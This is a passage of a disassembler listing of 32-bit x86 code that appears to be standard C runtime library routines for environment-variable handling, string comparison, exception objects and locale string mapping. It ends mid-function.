		setz	bl
		cmp	eax, dword_4DB984
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB980, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB988, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB980, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB988, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB988, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB980
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB980, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25E1133h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB980
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEC1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEF+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6F0
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_40D6B4
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D08o
					; ___:00427D18o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A0

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D561+13p
					; sub_40D725+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D561
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B1+15p
					; sub_40D50A+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D40
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; ___:00414BE6p ...
		jmp	near ptr 71AB1B7Bh
sub_426756	endp

; ---------------------------------------------------------------------------
		db 3Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2852159h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 1Bh

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417276+E2p
					; sub_417276+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D60
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D60o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D88
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 266038Ch
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DBA14, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBA14
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DA8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC6C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC6C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB50C
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC6C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC6C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 281108Ch
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 281108Ch
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
